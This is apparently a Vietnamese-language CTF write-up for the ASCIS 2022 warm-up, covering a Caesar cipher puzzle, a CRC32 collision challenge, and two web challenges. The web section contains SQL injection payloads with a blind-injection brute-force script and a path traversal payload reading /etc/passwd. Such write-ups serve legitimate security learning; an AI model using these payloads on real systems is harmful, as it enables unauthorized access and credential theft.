ASCIS 2022 - warm up

Note : A JOURNEY TO GAIN KNOWLEDGE

Crypto

I came, I saw, I conquered

chall

jhlzhy dhz h wvspapjphu huk nlulyhs vm aol shal yvthu ylwbispJ, dov nylhasf lealuklk aol yvthu ltwpyl ilmvyl zlpgpun wvdly huk tHrpun optzlsm kpjahavy vm yvtl, whcpun aol dhf mvy aol ptwlyphs zfzalt.

qbspbz jhlzhy dhz ivyu pu yvtL vu 12 vy 13 qbsf 100 ij puav aol wylzapnpvbz qbsphu jshu. opz mhtpsf dlyl jsvzlsf jvuuljalk dpao aol thyphu mhjapvu pu yvthu wvspapjz. jhlzhy optzlsm wyvnylzzlk dpaopu aol yvthu wvspapjhs zfzalt, iljvtpun pu zbjjlzzpvu xbhlZavy (69), hlkpsl (65) huk wyhlavy (62). pu 61-60 ij ol zlyclk hz nvclyuvy vm aol yvtHu wyvcpujl vm zwhpu. ihjr pu yvtl pu 60, jhlzhy thkl h whja dpao wvtwlf huk jyhzzbz, dov olswlk opt av nla lsljalk hz jvuzbs mvy 59 ij. aol mvssvdpun flhy ol dhz hwwvpualk nvclyuvy vm yvthu nhbs dolyl ol zahflk mvy lpnoa flhyz, hkkpun aol dovsl vm tvklYu myhujl huk ilsnpbt av aol yvthu ltwpyl, huk thrPun yvtl zhml myvt aol wvzzpipspaf vm nhsspj puchzpvuz. ol thkl adv lewlkpapvuz av iYpahpu, pu 55 ij huk 54 ij.

jhlzhy aolu yLabyulk av pahsf, kpzylnhykpun aol Hbaovypaf vm aol zluhal huk mhtvbzsf jyvzzpun aol ybipjvu ypcly dpaovba kpzihukpun opz hytf. pu aol luzbpun jpcps dhy jhlzhy klmlhalk aol ylwbispjhu mvyjlz. wvtwlf, aolpy slhkly, mslk av lnfwa dolyl ol dhz hzzhzzpuhalk. jhlzhy mvssvdlk opt huk iljhtl yvthuapjhSsf pucvsclk dpao aol lnfwaphu xbllu, jslvwhayh.

jhlzhy dhz uvd thzaly vm yvtl huk thkl optzlsm jvuzbs huk kpjahavy. ol bzlk opz wvdly av jhyyf vba tbjo-ullklk ylmvyt, ylsplcpun klia, lushynpun aol zluhal, ibpskpun aol mvybt pbspbt huk ylcpzpun aol jhslukhy. kpjahavyzopw dhz hsdhfz ylnhyklk h altwvyhyf wvzpapvu iba pu 44 ij, jhlzhy avvr pa mvy spml. opz zbjjlzz huk htipapvu hspluhalk zayvunsf ylwbispjhu zluhavyz. h nyvbw vm aolzl, slk if jhzzpbz huk iybabz, hzzhzzpuhalk jhlzhy vu aol pklz (15) vm thyjo 44 ij. aopz zwhyrlk aol mpuhs yvbuk vm jpcps dhyz aoha luklk aol ylwbispj huk iyvbnoa hivba aol lslchapvu vm jhlzhy'z nylha ulwold huk klzpnuhalk olpy, vjahcphu, hz hbnbzabz, aol mpyza ltwlyvy.

Work-flow

  • Brute Decryt Caesar -> vแป›i key bแบฑng 7 ta cรณ ฤ‘ฦฐแปฃc plaintext

  • ฤแปƒ รฝ cรกc chแปฏ cรกi viแบฟt hoa

  • Viแบฟt mแป™t ฤ‘oแบกn script ngแบฏn nแป‘i chรบng lแบกi

solve

f = open("cipher.txt", "r")
cipher = f.read()
import string 
alpha = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"
for i in cipher: 
	if i == i.upper() and i in alpha :
		print(i, end="")

Checksum

Chall

import binascii

FLAG = 'ASCIS{XXXXXXXXXXX}'

def check_key(passwd):
    if len(passwd) < 16:
        return False
    if binascii.crc32(passwd.encode()) != binascii.crc32(FLAG.encode()):
        return False
    return True

password = input('What is the password?: ')
if check_key(password):
    print('Correct! Here is the flag: ' + FLAG)
else:
    print('Sorry! This is the hash we want:' + str(hex(binascii.crc32(FLAG.encode()))))

Work-flow

  • Tแปซ code ta phรขn tรญch ฤ‘ฦฐแปฃc cแบงn tรฌm mแป™t chuแป—i cรณ crc32 trรนng vแป›i crc32 cแปงa FLAG

  • Lรบc nร y ta nhแบญp bแปซa trฦฐแป›c ฤ‘แปƒ cรณ crc32 cแปงa flag

  • Nhแบญp thแปญ nhiแปu lแบงn ฤ‘แปƒ chแบฏc rแบฑng flag khรดng bแป‹ refresh

  • ฤแบฟn ฤ‘รขy ta decode hex vร  tรฌm ฤ‘ฦฐแปฃc crc32 cแบงn phแบฃi cรณ lร : 1706263782

Lรบc mแป›i vร o nhรฌn bร i 1 mรฌnh hฦกi phรขn vรขn nรชn cรณ nhแบฃy sang bร i 2 scout trฦฐแป›c, ai ngแป ฤ‘แป cรณ lแป—i do khรดng cรณ trฦฐแปng hแปฃp else ฤ‘แปƒ ra dแบกng crc32 cแปงa FLAG, lรบc ฤ‘รณ mรฌnh hฦกi hoแบฃng vร  tฦฐ duy theo hฦฐแป›ng brute force nhฦฐ thแบฟ nร o?

Search quanh mแป™t xรญu ฤ‘ฦฐแปฃc vร i tร i liแป‡u hay ho, chuแบฉn bแป‹ bแบฏt tay vร o code ... thรฌ BTC fix lแบกi ฤ‘แป, cแบญp nhแบญp thรชm vแบฟ else uiiii thiรชn thแปi ฤ‘แป‹a lแปฃi nhรขn hรฒa, ฤ‘แบฟn ฤ‘รขy thรฌ nhฦฐ cรก gแบทp ฤ‘ฦฐแปฃc nฦฐแป›c rแป“i :)).

  • Mรฌnh tรฌm ฤ‘ฦฐแปฃc doc nร y

  • Ngฦฐแปi ta ฤ‘รฃ code sแบณn tool rแป“i viแป‡c cรฒn lแบกi lร  ฤ‘แป•i sแป‘ target vร  length string cแบงn tรฌm

const target = 1706263782 & 0xffffffff

// max string length
maxLen := 16

solve

  • Kแป‰ niแป‡m lรขu lรขu ฤ‘ฦฐแปฃc lแบงn solve thแปฉ 2 ๐Ÿ˜„

WEB

AscisStore1

chall

Work-flow

  • Chแปt phรก dรฒng quanh -> khai thรกc SQLi แปŸ login

  • Khi thแปฑc hiแป‡n ฤ‘ฤƒng nhแบญp vร o mแป™t user ฤ‘รฃ register -> sแบฝ ฤ‘ฤƒng nhแบญp vร o tร i khoแบฃn vแป›i tรชn user tฦฐฦกng แปฉng hiแป‡n แปŸ gรณc trรชn bรชn trรกi

  • แปž login phแบงn username, thแปญ ฤ‘oแบกn payload quแป‘c dรขn:

' or 1=1 --

  • Lรบc nร y nhแบญn thแบฅy server trแบฃ vแป vแป›i user flag

  • Thแปญ vแป›i username nhฦฐ sau (cรณ khoแบฃng trแบฏng แปŸ sau dแบฅu comment -- )

' or ord(substring(password,1,1)) = 65 --

  • Nhฦฐ vแบญy cรณ thแปƒ ฤ‘oรกn ฤ‘ฦฐแปฃc khรก chแบฏc password cแปงa user flag chรญnh lร  secret cแบงn tรฌm

  • Lรบc nร y ta chแป‰nh lแบกi query userser cho ฤ‘รบng vแป›i target, ฤ‘แปƒ trรกnh brute force sai

flag' and ord(substring(password,{index},1)) = {char} --

  • and แปŸ ฤ‘รขy ฤ‘แปƒ cแป‘ ฤ‘แป‹nh password cho username ฤ‘รฃ biแบฟt lร : flag

  • Nแบฟu dรนng or nhฦฐ แปŸ trรชn sแบฝ dแบซn ฤ‘แบฟn trฦฐแปng hแปฃp kแบฟt quแบฃ password query ฤ‘ฦฐแปฃc chรญnh lร  cแปงa toร n bแป™ database -> brute sai

  • แปž ฤ‘รขy mรฌnh khรดng dรนng query แปŸ dแบกng char ฤ‘แปƒ so sรกnh vรฌ SQL khรดng phรขn biแป‡t chแปฏ hoa hay chแปฏ thฦฐแปng, ฤ‘รบng vแบญy 's' = 'S' lร  true ฤ‘แบฅy. Lรบc cรฒn 30' cuแป‘i mแป™t thแบฑng trong team la lรชn mแป›i nhแบญn ra chแป• nร y, chuyแปƒn sang lแบกi dec ฤ‘แปƒ brute, nแบฟu khรดng hแบณn lร  quแบฑng lแบฏm :)).

solve

import request

url = "http://34.143.158.202:4111/index.php?page=login"
#SELECT * from users WHERE username='flag' AND ord(substring(password,{index},1)) = {char} -- '

def solve():
	index = 1
	flag = ""
	while True:
		for char in range(32,128):
			usernamefield = f"flag' and ord(substring(password,{index},1)) = {char} -- "
			print(chr(char))
			passwordfield = "a"
			postParam = {'username': usernamefield, 'password': passwordfield}
			response = requests.post(url, data=postParam)
			if "flag" in response.text:
				flag += chr(char)
				print("index:",index,"  ", flag )
				index +=1
				break
		if flag.endswith("}"):
			break


solve()py
#index: 23    ASCIS{SQ11-I5-t0o-EA$Y}

AscisStore2

Chall

Work-flow

  • Chแบฅm mรบt quanh chแปฉc nฤƒng mแป›i -> chแปฉc nฤƒng profile cho ฤ‘ฤƒng แบฃnh lรชn

  • Rแบฅt cรณ khแบฃ nฤƒng lร  File up load to RCE hoแบทc path travesal

  • Up thแปญ tแบฅm แบฃnh nyc lรชn :

  • Sau khi up lรชn ta thแบฅy path trong ฤ‘รณ cรณ file image.php thรฌ khรดng cรฒn nghi ngแป gรฌ nแปฏa -> path traversal for sure

solve

  • Lแบงn theo path rแป“i thแปญ mแปi cรกch path traversal thoi, chรขn รกi is here:

....//....//....//....//....//....//....//....//....//etc/passwd

Lแปi thรบ tแป™i cแปงa mแป™t ฤ‘รก thแปง

Gแปญi lแปi cแบฃm ฦกn chรขn thร nh nhแบฅt ฤ‘แบฟn vแป›i cรกc ngฦฐแปi ae trong team

Lรขu rแป“i mแป›i cรณ cแบฃm giรกc thรบ vแป‹ nhฦฐ nhแปฏng ngร y ฤ‘แบงu tiรชn tham gia CTF

4 tiแบฟng thi ฤ‘แบฅu - Mแป™t ngร y vui vร  hแปc ฤ‘ฦฐแปฃc nhiแปu thแปฉ, ฤ‘แบฟn lรบc lui vแป แปŸ แบฉn rแป“i

Cแบฃm ฦกn ae.

Thanks for reading. Have a good day โค๏ธ !

PreviousWeb NextRISEC CTF + UMass CTF 2022

Last updated